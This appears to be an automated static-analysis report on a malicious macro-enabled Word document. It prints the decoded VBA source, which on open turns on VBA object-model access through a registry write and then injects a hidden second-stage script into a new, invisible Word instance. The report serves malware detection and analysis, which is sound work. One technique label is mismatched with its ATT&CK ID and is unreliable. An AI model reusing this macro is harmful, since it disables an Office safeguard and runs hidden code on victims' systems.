Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 111d8f3f6ff4310d…

MALICIOUS

Office (OOXML)

76.2 KB Created: 2021-05-07 10:26:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 5134444ad549123ca5bf7b8b6013d468 SHA-1: 744395937008debd011ad1a5d39c5e847aeffccc SHA-256: 111d8f3f6ff4310d03e05310dbb82ff6ffca5ffc5dd58e7590e099d367983b56
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1059 Command and Scripting Interpreter T1137.001 DLL Search Order Hijacking T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' macro executes a function that uses WScript.Shell to write a REG_DWORD value to the registry key 'HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\AccessVBomAccess'. This is likely intended to establish persistence or trigger further malicious activity. The use of WScript.Shell and CreateObject indicates the script's intent to execute arbitrary code.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub globalVariableProc()
With CreateObject("wscript.shell")
.RegWrite variableVariable("listboxQueryTable") & dataViewStorage & removeNext("sizeArrayList"), 1, "REG_DWORD"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub pointerStructArray(convertRefA As String)
Set sizeRight = CreateObject("word.application")
With sizeRight.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "namespaceConvert"
Sub autoopen()
removeLoadTemp
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1953 bytes
SHA-256: 94bfa0e7fb5ff4197a46fb560e16a4f9365734e98ccf0802a1a303ef3d5d9ef6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6DDD2B58-64BB-4205-AA26-156CA89C0B22}{66EE3AF6-B1F3-4949-A9A9-FB87F0D8B56B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "namespaceConvert"
Sub autoopen()
removeLoadTemp
Dim textTrust As String
textTrust = loadSizeGlobal
pointerStructArray textTrust
End Sub

Attribute VB_Name = "removeConstButton"
Sub pointerStructArray(convertRefA As String)
Set sizeRight = CreateObject("word.application")
With sizeRight.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString convertRefA
End With
sizeRight.Visible = False
sizeRight.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "databaseMemory"
Function dataViewStorage() As String
dataViewStorage = Application.Version
End Function
Sub globalVariableProc()
With CreateObject("wscript.shell")
.RegWrite variableVariable("listboxQueryTable") & dataViewStorage & removeNext("sizeArrayList"), 1, "REG_DWORD"
End With
End Sub
Function variableVariable(tmpNamespace)
variableVariable = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
End Function
Function removeNext(tmpNamespace)
removeNext = "\Word\Security\" & deleteLocalCaption("countValueLoad")
End Function
Function deleteLocalCaption(tmpNamespace)
deleteLocalCaption = Replace("1BOM", "1", "AccessV")
End Function
Sub removeLoadTemp()
globalVariableProc
End Sub
Function loadSizeGlobal()
loadSizeGlobal = StrReverse(UserForm1.TextBox1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23552 bytes
SHA-256: fe104d80e23dfae29d0596a9107e80a733a54816b0237c085190a8d1b970a565

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